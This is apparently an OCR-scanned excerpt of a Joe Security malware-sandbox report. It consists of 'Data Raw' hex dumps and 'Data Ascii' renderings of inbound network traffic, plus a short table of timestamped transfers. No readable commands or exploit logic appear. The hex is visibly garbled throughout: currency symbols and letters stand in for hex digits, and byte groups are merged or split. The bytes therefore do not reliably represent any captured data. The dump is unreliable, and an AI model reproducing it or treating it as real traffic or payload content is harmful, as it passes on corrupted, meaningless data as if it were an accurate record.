71 00 8d 22 5b c8 d2 58 ff 82 ¢7 a3 cf ¢8 87 d7 df cf b8 b4 d6 98 ad e0 a3 €7 99 d2 89 36 08 12 fd f4 fa f5 96 7c €6 c2 €6
b8 ab ce fe a5 a7 c0 22 46 7b d2 Ob 59 a4 80 57 1f 7c 01 ca €9 af 8c 00 39 19 20 43 ad b7 bf 0a ff 24 09 50 3d 63 3b c6
18 5e f8 aa 30 bd 2e 1d c5 2c 60 6 Oc f8 77 Oe 83 cb 97 c6 88 bb 70 04 09 c1 6f 8a 4e 7b 5a 66 43 47 bb 84 33 7b 18 fd
a3 60 35 4b 2a 69 43 69 37 00 ea 40 ce e4 90 c3 1b

Data Ascii: 5#,$E_| TP=!|By>$P4&/=L<k}I-/oL5akM!mzbqg"[X6|"F{YW|9 C$P=c;"0.," wpoN{ZfCG3{ 5K*ICi7@

Data Raw: a5 e9 56 54 70 85 55 77 6d 12 72 ee 88 50 ce 82 de 35 de 20 c5 {7 fd af Of 38 68 1b 91 2b 44 01 78 01 f4 fe c8
59 4e 6f e5 4f 76 85 b3 93 96 15 be 30 d4 68 6f 06 57 65 ab ab 1e c1 c4 e4 02 e3 f2 94 40 8f 6e 39 63 16 {7 b7 f2 79 82 1f
7b 69 05 05 27 30 03 94 97 f5 78 db cf 82 d4 21 9a d5 ec 8b 55 e3 33 2b 28 19 10 6d 81 53 02 67 7 d1 4d 3e 9e 92 eb
41 6e 9f f9 05 7f 9d e8 87 3 6d 3b d3 c5 33 94 f8 68 19 e7 f5 47 58 4c db ee 9d 79 b8 f1 30 56 72 16 45 Ob cd fO 1c 39
a4 d8 d0 b0 28 b1 29 67 a2 9e c6 cb 19 26 eb 92 00 f2 16 57 74 65 38 6e 66 79 eb 6f 35 6d 61 b1l dO 76 29 d9 8c c6 d9
0Ob 03 37 9a 95 af ac 1d 09 77 ea 01 db de 49 af ad f8 3e c8 76 13 94 57 fe 6d da 79 c1 74 bb ba 3a 23 86 38 c8 f4 af 8e
03 0b 85 bd 34 6e bf 70 15 99 30 24 d7 c9 dc 7d de 84 8b

Data Ascii: VTpUwmrP5 8h+DxYNoOvOhoWe@n9cy{i'0x!U3+(mSgM>Anm;3hGXLy0VrE9()g&Wte8nfyo5mav)7
WISVWmyt:#84np0$}

Data Raw: 8f 3a 9¢ c0 b5 0d 3b 16 68 3e d0 52 05 Oc ab 57 e2 fc 90 c0 fO cb c1 de 7d 53 45 2b 83 52 5e 6d c8 41 3b al
48 a6 24 4b ac a7 b6 6b 45 e2 c2 b9 54 88 27 a3 bd d6 40 7a d8 f0 90 8a a5 45 21 6¢ 16 ae 12 f0 86 1f 3d 39 a4 e0 54 72
7c c9ec5b 08 12 cd 79 6¢ fd ac 25 35 99 95 2f 9d ab e6 3d 94 fd 63 48 58 ee 91 el 16 1la dd 79 8a 01 27 73 6b 7 46 ec
bc 1b 22 32 be 51 3f 4f Oc 80 1c 0d 25 8e e8 9f ab a4 9e c5 1d 5d 49 08 de f7 0d ba e2 22 11 f4 9e 3c c0 55 9c c7 d1 ec
2cead9 01 c25b 30 1le 72 a9 a8 e4 d2 6d Oa 8a 31 49 4c 59 f7 8¢ a6 b6 6¢ 82 45 e2 ce c2 41 02 2d c2 ¢3 19 04 d8 09
12 4f 54 ab da 59 35 25 ab c9 a4 4c b3 cf e5 9f d7 0a 2a 65 14 89 82 72 1b 95 dc 35 42 28 50 5¢ 9c 9d 9b 96 3a a4 33 78
86 90 ca f1 €9 36 51 71 87 bb ad 1d 41 f1 1b 64 8a 1a 49 b7

Data Ascii: :;;h>RW}SE+R mA;H$KKET @zE!I=9Tr[yl%5/=cHXy'skF"2Q?0%]I"<U,[0rm1ILYIEA-OTY5%L*er5B(P\:3x
6QqAdI

Data Raw: 4f fe db f3 03 62 63 c2 51 4f ac 99 dc 71 75 65 90 51 97 a0 fb a8 7f 72 51 cd 5e df 5f ce fe f9 e9 67 f8 39 e0 05
06 98 69 cc 4d eb 6 9d f9 Oe 5¢ d1 0d 3e ee c5 e4 13 be 8e 6¢ 79 f0 25 af 6e 77 86 8¢ e2 d7 43 30 49 57 82 2b 58 98 55
75 04 25 6a b1 6d Oe 9e 10 ae 50 d6 b8 b9 22 03 de d9 7f a0 56 3d 16 8d 10 f6 ae 24 3e 96 fb 98 f9 52 d2 30 db bc b4 03
cb c7 d9 6d 76 48 9f b3 b6 1b fd 5e b8 13 83 ac b2 44 81 b2 f0 90 f4 b0 7e 9e 3d d2 30 01 63 87 8f Of €0 30 45 04 67 42
ce 1d 6d 31 c4 25 ed 9e 6¢ a5 Oc 09 e4 d5 61 87 78 7c b1 84 Oe 87 5e 9d 6¢ 45 16 3d 69 49 85 21 84 4c 33 04 79 af 98
3e c8 06 08 ba f0 16 57 b8 a4 Oe 7a 93 62 20 46 32 f3 4c 5f cf al 15 11 29 3d 70 1b 20 dc 00 53 bc 32 ad d0 e6 03 09 25
c6 09 11 e8 cb Oc f4 6¢ €9 ee 2b e0 el 30 57 2b 2b ef

Data Ascii: ObcQOqueQrQ”_g9iM\>ly%nwCOIW+XUu%jmP"V=$>R0mvH"D~=0c0EgBm1%lax|*E=illL3y>Wzb F2L_)=p
S2%I+0W++

Data Raw: 7b fa 9d cc 20 9a de 84 ef b2 16 2a d0 07 44 08 e5 ff 84 db 4d 2f cb 78 a8 b3 7f 8b 88 ad 27 c1 60 96 bf 8f fe
97 f5 75 de 67 e7 ae a5 2f c4 a7 fd 4c bb a0 63 9f 76 ae 10 Oe 39 31 e4 a7 62 37 8b 24 67 3d 68 65 a9 83 03 da a4 6e 58
f7 22839397 81 ¢c2 85 ed 78 c2 f2 54 50 19 b9 ea 92 74 70 56 fa 56 44 70 ac Oe Oc a5 04 10 6d d3 b7 cf 40 f3 7a 64 97
3b bf 3c 9a 26 34 5e e3 68 b9 20 0a 7b 1d b3 Oe d1 7b bb 02 fe e0 26 08 92 ab 01 b0 el 53 95 82 50 bc 59 f7 05 a6 6a b8
07 4c 77 0a 9b 45 53 20 40 8f 3f d0 ba 95 e5 a8 4f d1 1b 21 38 80 75 ad a5 f5 b9 e6 9c 46 41 84 c8 0a 8b c3 eb 27 58 89
4f 13 92 e6 d7 71 af 5f 2d aa ef ab 75 78 39 c2 bb 17 b3 5b ba 0f 87 56 32 b6 d7 44 31 16 c4 7f 9c 1c 90 36 e7 1a 05 59
2d 5f 3d 17 49 9a 12 15 a8 04 45 b3 93 30 4c 22 fd 06

Data Ascii: { *DM/x" ug/Lcv91b7$g=henX"xTPtpVVDpm@zd;<&4"h {{&SPYLWES @?0!8uFA'XOq_-ux9[V2D16Y-_=IEOL"
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kBytes

Timestamp transferred Direction
2022-05-12 12:17:33 UTC 308 IN
2022-05-12 12:17:33 UTC 316 IN
2022-05-12 12:17:33 UTC 324 IN
2022-05-12 12:17:33 UTC 332 IN
2022-05-12 12:17:33 UTC 340 IN
2022-05-12 12:17:33 UTC 348 IN
2022-05-12 12:17:33 UTC 356 IN
2022-05-12 12:17:33 UTC 364 IN
2022-05-12 12:17:33 UTC 372 IN

Copyright Joe Security LLC 2022

Data

Data Raw: ca 34 90 4f e4 12 c7 Oc 34 8d 19 39 32 1a 95 8c 6f e5 f0 87 5a 9c 84 da 3f 1d 42 00 db 40 74 24 a9 18 1c el
3eal 1b 21 e3 f2 32 23 ae 59 4a b8 33 7a 8f 0d 6e af ec 26 2d a3 71 7a f0 87 58 62 79 87 24 79 5d 2a 83 a7 94 67 Oe 53
4394 bf 38 2d e7 e6 2d 5c de 3c 93 1d 16 23 76 4c fa 3e ee 8c 72 da 76 20 cd bf Ob 96 81 00 3a 6a 1f a3 eb 76 97 8e 1la
a7 88 03 80 ec c0 08 58 43 3e 02 c8 34 f4 da bl 25 1f bc b3 aa 24 39 08 a4 d4 df db Of 4c 89 37 52 1f a4 19 d5 40 be 01
95 a8 ae 35 27 5a a4 43 6d 89 2b df fd 13 b2 2e 12 64 89 ca 17 40 e3 c¢8 1c 09 77 fd 03 63 63 f3 22 de c9 12 8b 33 13 {7
84 al 6d 30 38 Oe 15 7b 31 ca 49 6e 4a 8d 0a 01 8e c3 0b 75 55 87 65 57 83 9b 90 c0 le 35 bd 9a 7d d8 05 f9 4f Of d5 92
3741 e0 d1 08 e6 €9 b4 3b 59 c9 3d 03 69 b0 c9 f1 a2 d8

Data Ascii: 404920Z?B@1t$>!2#YJ3zn&-qzXby$y|*gSC8--\<#vL>rv ;jvXC>4%$OL7R@5'ZCm+.d@wcc"3mO08{1InJuUeW5
JO7A;Y=i

Data Raw: 80 96 ad 37 24 6f 7a c5 81 36 e8 3b 97 ac 57 0a a3 a0 €9 52 d2 15 d3 9d 23 60 e4 55 10 12 56 40 b5 8e 0Of 6f
50 ea 99 fa 40 79 90 98 b0 b8 Oe ch 5b 18 88 d8 62 6a 9e 40 b1 a5 70 cb 3c e7 bb 08 4a 1d 8e d7 94 Ob 55 6b 71 30 5e
9f 48 12 ab 91 00 22 d3 d3 18 9e 64 a6 bc 2d 08 16 55 d4 48 64 32 56 54 2c 67 78 60 bc 9a 9b 8e €8 67 5 ba 47 7c dd
e2 0f 85 88 08 99 b1 00 20 dc ce e2 2f 5¢c 1le 24 8551 05 c1 14 26 50 1d ad 89 el 73 69 ca 1b 2d 57 f4 6f 82 dc 1c 3b e3
b7 4d fc c2 3c 47 a3 e3 4b 89 b3 80 a4 71 c2 64 58 36 8f f6 ab 73 f5 c1 59 42 9a 21 73 7c 40 30 bc 78 9b a3 4e a9 29 Oa
e7 67 8d 9a 95 ca 22 7c 5a 78 58 9f e0 e5 3a 31 60 4f 9e af 98 19 e0 90 8b 9a e4 8c cb 21 55 56 69 78 46 ac ed b7 5e 14
99 11 8a 8¢ b6 d1 f2 f7 93 65 b1 Ob bf 7e 52 da 23 18 07 f6 c5

Data Ascii: 7$0z6;WR# UV@0oP @y[bj@p<JUkg0"H"d-UHd2VT,gx gG| /\$Q&Psi-Wo;M<GKqdX6sYB!s|@0xN)g"|ZxX:1'O
IUVixF e~R#

Data Raw: a3 a9 65 5e e5 56 27 18 6¢ 26 8f 8b 81 7f ed dd 57 d4 26 4a 98 45 €9 21 c6 7f 7f 0d bd al 01 8¢ ea ac bc d5
f2 21 e9 al d7 df df 22 ce 05 45 cb 34 6¢ 4b 2a 15 bc 45 1e 88 c2 4c 08 07 fO 12 79 8b da 1a d0 c2 95 9c 98 31 de 22 41
2d 8a a3 f0 el 25 60 18 fc 38 2a f9 ¢5 19 bb 72 eb 06 cc 23 d7 e5 b3 61 85 20 6a fO 71 70 2d 89 e7 c1 e9 b2 60 17 15 1c
c1 29 cf 19 de 3e 2e 36 7c 17 b5 d4 67 e0 bb a9 1c 23 07 ac 1b 28 ba bd 30 42 fd 33 de e4 e8 8 79 f6 6¢ 67 64 3a 32 de
00 fb 29 b4 15 9b 69 18 4b 5f 26 59 dc 24 49 86 b8 0f 82 99 f9 51 5b 20 f1 d9 3e 65 c1 3c 93 75 7e 29 8¢ 49 15 5f ef a9 6f
3aed dc 71 1b c8 6d 5f 89 23 6a 26 00 ac Ob 09 61 c6 09 11 2c e4 d7 Oa c3 e6 9a ee a9 2d 51 5f a7 af cb 25 b3 cf ff 5¢ fc
f4 1f b0 4a 80 ca 55 3b ¢3 52 86 91 1e 4c a4 92 e2

Data Ascii: e"V'I&W&IE!"E4IK*ELY1"A-% 8*r#a jgp-")>.6|g#(0B3ylgd:2)iK_&Y$IQ[ >e<u~)I_o:qgm_#j&a,-Q_%\JU;RL

Data Raw: 7f bf 2e 02 35 32 14 5¢ d9 e5 a5 17 6e 3d c6 a4 ce cb ec 3d 45 cd 7b 6d ff d9 11 da 33 ec 6d ba e4 77 15 39
aa 6b 3d 62 dO f8 f9 8d 4b b7 8f 51 d4 2b 92 a2 e2 1f 45 af cf b7 12 11 55 2d ed 04 76 3a c9 62 92 fd ce 03 b3 24 66 97
1491 f5 ac 22 66 a5 a6 b1l c4 81 88 4c bc eb f1 96 d9 al 87 f3 bd 7c b7 72 d2 40 87 d0 0d 17 05 38 ¢2 32 1¢ 57 12 fd cd
5a a5 3c dd ae 94 Oc 86 d5 03 94 67 2c 83 3a ab 69 ad 8c 57 ac 0f 3b 6b €9 df ef 5¢ 74 91 11 29 d3 9c 3b 40 8f 5b 1b 8
7542 b0 41 04 94 9f d4 46 2c 64 c0 57 59 3c f1 c9 44 38 37 e3 6d 1a af cc 2a 7d 57 54 0b b6 0f ca c9 04 24 5d 9f 47 c9
Ob b8 04 73 13 49 e1 d6 16 02 d0 87 a2 12 7e 14 57 6b 09 97 09 47 f7 63 ad 25 d3 aa 9d a0 74 44 b3 88 bc 31 10 e4 bf
a8 65 1d b0 1f c1 21 ¢8 3a 1c 0d d2 e0 a6 92 c6 74 28 ac 71

Data Ascii: .52\n==E{m3mw9k=bKQ+EU-v:b$f"fL[r@82WZ<g,:iW;k\t); @[uBAF,dWY<D87m*}WT$]GsI~WkGc%tD1e!:t(q

Data Raw: fc f4 af 49 3d d9 9d f9 a8 8d dc 43 bf 65 c2 8c 67 de 09 6b 57 Ob dc 39 €9 73 92 61 9e 78 82 9d d9 b8 fa 12 73
be Oa 7c 22 2f 6f 34 90 09 31 f7 a8 46 3a 0f 34 e7 b3 5b 2e 65 d7 db 5f 09 67 df cc 6a f4 29 91 a4 30 fa 45 f1 fd 05 b9 38
cd 8368 cb 58 fb c5 b8 c0 57 68 €9 f4 57 25 50 9f 2a eb 9d 79 el 4d 0d 3e 02 53 90 5 da b7 b9 d3 61 d6 13 d7 4d fd 43
80 d0 e3 6¢ b3 1c 91 5a 6b 2b 85 7e 9f ce 0d 82 3e 83 7a 03 b9 a0 63 32 20 83 db d4 c7 41 3f ce 1d 7e dd ef 5f 39 a7 97
f9 fe 60 fc ec f9 fO af d9 22 52 00 be ed e0 04 7d 1b 9a 59 6a bb 36 cf 35 c2 5e €3 79 ¢7 01 30 a7 31 ac 55 87 e6 2 8c 6f
e4 f0 48 52 47 22 82 da 8d 47 24 a9 5e 19 ed 9c 2e f6 1f 43 9d 78 2c ae 3e d3 ba e2 c6 b9 08 77 26 a3 bd 06 83 65 18 9a
8850 96 a8 42 6¢ al 86 75 73 2e 6d d2 48 10 f8

Data Ascii: I=CegkW9saxs|"/041F:4[.e_gj)OEBhXWhW%P*yM>SaMCIZk+~>zc2 A?~_9™"R}Yj65"y01UoHRG"G$".Cx,>w
&ePBlus.mH

Data Raw: 47 d4 d0 9a d7 53 80 05 f8 8e 2d 27 91 09 22 08 2e b9 e6 82 54 29 df 24 79 98 ee ef 11 ba a5 d2 37 5a 5b 5b
b2 3d ¢3 22 30 4b 65 48 1e 43 b2 a5 50 3a 44 ea f4 1f 19 ab c8 ee e3 2b 78 d7 9a 83 15 50 83 1f 34 3b d5 9b 7b Oa fa 25
d3 ec 9c dd 57 33 57 8f a6 ed 86 50 db fc e2 88 7a 00 f7 ec cd dc 15 c5 66 d9 ea 06 af 97 db 15 e6 32 71 b1 80 el cl df
2195 58 cc 3¢ 92 69 19 f1 d9 90 25 13 49 7c 95 3a 2a dc f6 97 Oe 49 4b 1f 57 f6 84 04 53 3c bb 6f cf 58 8d df f5 2b 20 84
1f 54 84 b5 97 44 b2 91 66 2f 70 84 be 2a 82 0d 48 4f ca 37 ba 2e 2a f3 f4 51 1b 9e 33 2e ac 29 d1 b8 73 b6 39 21 2b ee
a8 1b 7a 21 e8 23 67 ad 58 46 7 30 8¢ 39 40 8b 48 3 2a 2b 9b 5e 06 98 48 75 1a 9c d0 46 36 19 8c 57 8¢ c4 21 f2 f3 28
82 75 f9 c2 cb bc 2f 94 d0 8 9b 31 98 5a 88 ca 13 a2

Data Ascii: GS-".T)$y7Z[[="0KeHCP:D+xP4 {%W3WPzf2q!X<i%!I|:*IKWS<oX+ TDf/p*HO7.*Q3.)s9!+zI#gXFO9 @H*+
AHUF6W!(u/1Z

Data Raw: c9 6d 09 27 02 7a 97 fb cf d5 83 73 90 03 2f 2b 01 4a 75 06 64 45 26 c0 d1 cb 1a ee 82 Oc ¢8 5¢ 9e 73 3b c5
€3 80 7b 1f fc b6 8b 12 6b 26 3¢ 45 55 75 71 f1 2a 06 72 5e fa 33 4d ad 84 6b ce 12 53 fd d4 67 a7 9 8d 03 9b ac 80 16
9f 3f 33 77 ba 72 08 22 d1 4b d9 e9 bd 3f 7b 1f 1e c1 a2 ae 64 98 3c Oa ab f3 f5 b8 85 ea 67 8¢ 47 04 98 07 96 2b 73 30
49 e3 d5 19 a1 00 61 33 dc 3d 15 48 9a 32 39 a7 06 14 52 f6 20 44 16 3d 6¢ {7 8b f1 7c a4 a6 8d 8a dO cf 50 65 06 08 dO
85 6f 3f 12 b4 47 e8 91 9d 35 98 72 €6 a4 69 5f 25 €3 9d 69 d1 2e 45 7d 62 44 2c 85 f0 2 ed 95 57 6b 45 c7 5f 9a 35 be
15 1c 67 b6 11 3e a7 59 74 23 a9 2a 3d b9 aa 9f cf 4b 05 5f ce 3d f5 64 78 96 be 35 ce de 1c 59 1f fd 19 32 04 3f b3 44 67
10 5 37 a5 94 eb 64 b3 ea df bc 5¢ 1e 88 46 1a 61 17

Data Ascii: m'zs/+JudE&\s;{k&<EUUG*3MkSg?3wr"K2{d<gG+s0la3=H29R D=I|Pe0?G5ri_%i.E}bD, WKE_5g>Yti*=
K_=dx5Y2?Dg7d\Fa

Data Raw: 6b ff d9 05 cd 98 63 87 ce 33 bf 11 e7 d1 a9 89 dd 3b 93 54 73 3f e4 18 €0 60 €3 e7 b2 ea 15 b5 63 82 92 1a
7212 03 ec 8e e2 98 a2 36 19 30 26 c8 fe 01 6e fa 5f 4e Oc d8 b2 d0 15 42 ed 07 5¢ 1c 90 Oe ae 21 e4 96 79 2c 4e 8d le
a7 11 20 bd f2 e2 66 ec a2 b3 Oe 03 b9 87 20 fa 9e d2 f6 3d dd ad 82 82 ca f1 a0 db 13 3b 6¢ db db 7d 26 cd 18 da 73 7f
c2 65 8e b0 bd fd 0d el 6b 96 9¢ b0 91 0f fb c1 17 8a e4 66 76 be cc ea 84 f9 b6 65 e9 {7 5e 3¢ 21 60 e3 05 eb 4d ac 6e
8adb 71 12 41 6b 71 92 84 95 51 bb a8 28 99 33 fe e5 6d c5 82 15 c3 ¢5 09 ee b8 b5 97 e4 67 d5 df 74 30 7d 72 bl 58
17 e8 21 6e €9 84 f6 82 df cf 7f 69 f3 55 d5 59 8d ad 65 7c 1c €0 3e c2 27 2e 99 c4 1f ad 96 40 c6 9d 9b f1 c1 09 03 b4 83
dc 3a 72 faab 7d 80 b2 06 f8 87 25 91 82 c6 f9 a7 b8 5¢

Data Ascii: kc3;Ts? cr60&n_NB\ly,N f =;l}&sekfve”<!"MngAkgQ(3mgto}rX!niUYe|>'.@:r}%\

Data Raw: 39 63 c4 f1 41 8e 44 79 a9 30 f0 02 05 55 2b 5¢ f7 14 f2 d3 00 81 84 46 78 Oe 25 60 21 21 fO 3b 9b f4 8a a5 73
d6 2e 82 b5 94 55 08 ff 99 a0 62 28 10 a0 Oc 60 f3 35 63 83 f5 39 9c b9 46 da 95 06 95 e7 21 d8 8a 1c 53 52 b9 c8 2f ef
04 fc 0d 31 73 €9 04 92 8b 43 39 a4 5b c6 ee c9 40 e9 11 bf cf ff 7d 33 4f 15 92 e8 3d b6 6b ff 1e e9 bf 22 0d 4c b9 a4 6e
6e f2 7152 b1 37 23 68 31 68 76 Oc 05 78 c7 58 1c 7c 79 7f 18 36 74 d8 4f 52 ed 33 Oc 87 13 1f 8f 26 05 7b b5 82 31 3e
e3 bf 41 ec 36 de 1c 71 03 4f 2f 20 d2 5b 67 bf 70 1b a0 55 a0 25 21 89 82 ac 37 6 fe 54 d9 d5 c¢8 17 6b 1b 60 cc 4e 49
c4 e7aa’5942dlcfaf d9 1b 33 3a bd 91 1c 66 81 fO c1 82 ee el 12 93 92 86 52 d5 d0 92 32 c5 41 65 8f 07 03 15 57 6a
a8 db 5d 76 50 fe 15 91 2d 42 4a 29 78 ae cf 6d 45

Data Ascii: 9cADy0U+\Fx% !!;s.Ub('5c9F!ISR/1sCO[@}30=k"LnngR7#h1hvxX|y6tOR3&{1>A6q0/ [gpU%! 7Tk NIYB3:
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Data Raw: 98 cb ff de 66 4a 71 2c 9e 17 88 36 4e 8b 79 e7 33 82 €8 47 65 6a 7f f3 a5 51 bb 04 01 76 c8 9d 6¢ e4 7f 8b
5d eb 2d 01 42 4b 84 38 08 b9 65 52 63 23 32 be 84 00 ec e2 9e 27 53 52 c8 e8 6f 7f 98 cd 6¢ de 88 0f 8d 03 59 98 f1 e0
be 33 ba af 2b d9 7a 17 2a 30 ea d4 eb d9 b8 87 4e 03 20 5¢ 79 dd 18 2d 3d fd d7 97 b9 a9 ea 08 1b 97 29 d2 83 ad 5d
99 00 34 7d bb ¢9 91 3e 34 30 b3 14 36 33 20 0a d4 fc c1 ab 3d 65 86 d0 30 bc 12 cd d1 d2 d4 64 67 bd f4 7e ec 43 8b
43 a5 1c fb 78 8a 54 45 9c 98 05 47 6¢ 9f 8f f1 64 75 f0 88 91 bb dc 69 70 40 62 5f 51 cd 48 54 a0 b2 ed 87 2 bc 99 93 f2
eb cb 25 3c 1d a9 24 ba 06 fb a4 f8 b2 3f 7c 65 db 3e 95 7 ac al b0 20 98 9d 2c 77 2d 57 8c ed 00 03 88 93 5d 83 4c f8
00 9d 3e 2a b1 5e 8c 5b 39 f4 3d d3 91 94 59 39 ba 6e 35 57

Data Ascii: fJq,6Ny3GejQvl]-BK8eRc#2'SRolY3+z*0N \y-=)]4}>4063 =e0dg~CCxXTEGIduip@b_QHT%<$?|e> ,w-W]L
>*\[9=YIn5W

Data Raw: 5d 3c 25 37 1a 1c 63 db 5d af c7 b7 02 72 25 d5 43 76 a9 d6 3d 85 e7 24 31 71 a6 59 eb bf af b2 a8 51 7d 38
a507 c8 27 ec 1lac0d7 75 7b 67 52 62 6b 97 c8 3a b7 19 1f a8 76 ab 91 fa 1d b3 8d b2 07 48 dO 22 25 4c 08 41 ca 47
47 8d 2c d5 80 50 1f 9c 94 53 d6 06 e7 Of e8 52 6e 4e aa 44 d4 b0 8f 89 a5 el 6a 1c 1a a8 95 e7 4b 94 8 7a 39 97 7 46
d1 37 8b 1e fe aa 14 08 07 74 ee bc €9 7c e4 2e 39 b4 6d 72 a0 57 ¢5 a8 8f 6d f6 0 9d 05 45 5e 9f 47 e6 d1 20 ca 35 99
ce d7 16 47 b8 1c 9f eb 97 c2 5e 8c 2d 82 33 16 b4 05 94 a2 b1 83 90 48 c4 ea a2 7c e2 bd d4 5¢ 9f 11 97 7a 23 e3 08 8d
48 69 3a 96 8b 06 ab 7e d4 6e 8c 94 ff 56 Oc 86 7d 7c 95 f6 ee f6 ba f6 5f 58 f6 2f Of a2 fc 0a 31 7c d5 c1 e3 36 bf fb 4f 30
89 1f 3c 16 5a d4 54 ec 1e b8 b5 76 9e e7 6b 47 7d d6

Data Ascii: ]<%7c]r%Cv=%$1qY Q}8'u{gRbk:vH"%LAGG,PSRnNDjKz9F7t|.9mrWmE"G 5G"-3H|\z#Hi:~nV}|_X/1|600<ZT
vkG}

Data Raw: 86 a6 6f 16 ac 7e 89 37 e7 42 57 6a 23 5e 12 7a 92 07 6b de 97 d3 66 04 2f 92 22 32 37 45 e4 81 Oa le 89 c6
99 41 ac 4c 64 c7 a2 75 dd 88 86 4c e0 08 b4 25 ¢7 d2 55 fd 5a 04 33 5d 63 al 9d 70 al ae fd 90 6a 8e 77 1e 9a 95 c3 4b
eb 3b f1 b4 4e d0 50 1f 7c a8 3a 83 a7 d6 89 69 97 07 c2 9f 71 64 cb 19 2c 33 6a 77 f3 al 20 0a 51 b9 74 bb 76 17 74 68
1c ec 9f dd 2f 52 65 51 99 7d 8d f0 al c9 fe 06 81 34 10 b0 74 Ob 1b af 5b 33 2a 0a Ob 8c f1 ef 36 51 45 e2 10 07 d6 35 6f
15eca219e591 7a4e c209 66 al ab d1 7b e5 dd 73 b9 87 ee 47 ed 34 8d c2 d4 2d 80 78 64 Oe cb 87 1f 56 e8 f2 20
17 ea 4a 57 85 a0 c2 64 68 db cf 2b f4 59 eb 43 1a c3 e8 35 14 8a 1f Oe 1d fc 75 8a 4b 83 28 6b 12 55 c8 de 2f 20 86 5a
49 8a 4f al 2b Ob 7e cd d4 8d f1 7d fc b6 30 82 87 24 44

Data Ascii: 0~7BWij#"zkf/"27EALduL%UZ3]cpjwK;NP/|:iqd,3jw Qtvth/ReQ}4t[3*6 QE50zNf{sG4-xdV JWdh+YC5uK (kU/
Z10+~}0$D

Data Raw: 8b c6 e4 02 58 87 ae a0 3a Ob d8 6e 6e a5 37 c8 13 95 e6 99 54 8e 75 ec 9c 85 9f 08 36 c5 32 5a 8 68 cd 2f
8e fb 9e c8 06 5b 6b 32 4b 7e 46 44 08 49 7 10 c3 c2 6e 04 7e af a8 94 84 61 62 29 26 ca 08 0a 93 30 21 45 5b bf Oa ff
2f eael 90 17 97 9a 6¢ 35 30 61 31 99 b5 76 bf dO ea 87 28 51 ed 12 8d ce 8a b5 ab 26 33 d7 6e 18 92 5e Oe al fe 22
60 06 33 73 4f 55 e9 76 bd 8b fc 8c 68 29 ca 06 da c3 b9 54 ce be 3f 95 67 dO c3 77 49 a6 el 5a cd 5f f6 93 a0 e2 24 4f
1a 8d 81 d0 46 e9 c3 42 db 92 74 fa 89 f7 d9 6a d6 6¢c 96 c5 e3 02 e2 af fd 13 c2 5d 76 65 ce 36 8d 01 12 52 96 de ea 91
b5 76 74 c5 b8 Oc ec a2 c9 c2 d7 6b 32 67 10 36 e6 7b 30 2f 11 3b 46 8c 58 Oe b5 dd 02 67 21 c9 6c 13 4a e8 3d 48 c1
04 93 da 6a 63 37 b7 8a c7 75 d1 9b ¢3 73 80 e4 8b 5e f3 9a 9e
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Data Raw: 2d 28 64 dd cd ca 14 43 76 83 db 4f 49 da ce 61 6f f3 c6 4f 8b 1c 74 fO f7 3b 59 66 dc 2a be 2d b2 8e c2 c7 7b
€9 5f bf e4 2b 69 30 b9 77 7f fd 5a be f3 9d 44 ee d6 f6 90 95 9d db d9 74 04 11 2a ea 8d 28 be 1c c0 41 dO ac cc 6e 42
5 da bd eb d6 26 84 2e d4 79 01 df aa 65 56 43 5f ba 74 94 41 4c 9d 5b ed 12 db 53 03 ca 1c 1c 95 7a 77 cf 72 6d 14 ba
14 73 a4 dd f4 db d1 02 75 Oa 3a 5f 22 2c 8d d8 e8 f0 27 c1 5c f1 d3 51 22 64 81 04 a4 c4 af 82 c¢7 f6 18 5b 07 fd 69 c5 d6
99 80 f7 02 7a 5e 03 02 73 a8 87 fc 25 72 20 9c ae e3 c8 86 64 ce ed 09 45 69 16 6b d2 4b 37 94 5c 5f 6b 10 9c 73 2e 90
67 b6 db 1a dO 8e 32 2a d8 c2 5a 82 e7 d2 8d 52 70 b7 5d a0 8f 31 dd 59 70 8d d4 9f 13 al f8 e6 48 a5 02 39 ae b4 71 72
5f 73 89 ae 26 79 48 fe 31 4f d0 ba da c5 21 33 7c

Data Ascii: -(dCvOlaoOt; Yf*-{_+i0wZDt*(AnB&.yeVC_tAL[Szwrmsu:_",\Q"d[iz"s%r dEikK7\_ks.g2*ZRp]1YpH9
qr_s&yH10!3|

Data Raw: ec 14 75 6¢ 03 ce 3b f9 96 f4 2c 13 28 17 a4 ea 4c 85 1c 30 ce 02 e5 a0 8¢ 77 13 al 86 57 ce c0 c5 8b 50 57
1f f5 14 ae e4 2e e1 01 53 1a 72 6f b0 20 f1 1e 14 1d b2 39 c5 cf 97 7e 64 44 3c e8 b9 36 5a a0 cd 3d c9 6b c0 08 9b 16
837 7a 54 ec ee 8f 99 ad 3b 78 29 d9 d7 2e 5e 73 d6 76 bb 3b 42 b4 dc 65 3e e5 cc 85 de 9f be ff ¢3 ff 1d ef bc c0 93 54
13 9a 9f 24 2c 7d 64 b1 40 Ob e8 20 64 da 84 1e 4c 6c 4f 08 08 38 99 25 99 78 d5 81 23 e3 1e 41 3e b4 08 dc 50 a8 23
8181 4d 70 10 3f 87 a5 82 09 f3 69 d3 a7 39 02 7c 7f 57 6d 99 85 50 80 88 4c 6¢ 58 cd ec 5e ac 07 c¢7 27 53 e7 f0 19 a5
€7 d0 2c 6b 40 b3 Oa 8e 18 1e 3e 6e a7 f1 7d 28 ef 94 8b 1c 7e 57 cd 05 6e 57 8 9f ed f4 {7 8a 1d 7f d1 a7 8d f2 ed 83 8¢
2e 63 b0 07 8e ec 48 6b b2 b5 06 2e a3 39 a2 a2 74 78
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Data Raw: 17 81 82 24 06 1c f7 43 64 21 ea 86 58 1c ae c1 32 aa 72 b7 1b a0 02 05 89 4b 11 13 95 90 dc d5 9e a3 a6 ae
db 5a ff 6f 1e 26 ac ca a9 5d 1c 4b 04 57 f4 49 04 78 24 b9 fc 9b 3b ee 38 83 92 71 8a 9a 35 13 76 5¢ bb f9 Oe 12 68 16
06 fb bc 20 4f 6b 65 4e 8¢ 17 2e fO 2e 4f 00 17 90 34 a4 16 da 2d fe 98 Oe 11 6a 8a 10 63 bb 56 ea 56 c1 69 d7 51 b1 07
e55a 4d 12 el 8a 85 49 2e 0d 28 bf 6b b7 81 ¢5 3b 78 al c9 6d 07 28 86 d2 33 f2 79 cb 7c 80 6¢ 87 38 63 db 7a 88 73 74
31 98 4f cf bf 9b 4a d6 eb 43 ba 1e 13 3e 91 4e 07 Of f5 05 57 24 €5 59 3b 31 ce 18 6f 08 2f bl c2 f5 a2 59 3b 5f 50 46 7a
€9 d4 06 45 e9 90 33 eb Oe a5 cf 40 1d 4d 9e 66 ee 70 3d 8e a8 2a 41 39 4a 18 4d be 3c ae 6¢ c1 a2 51 28 1b fb 08 bb

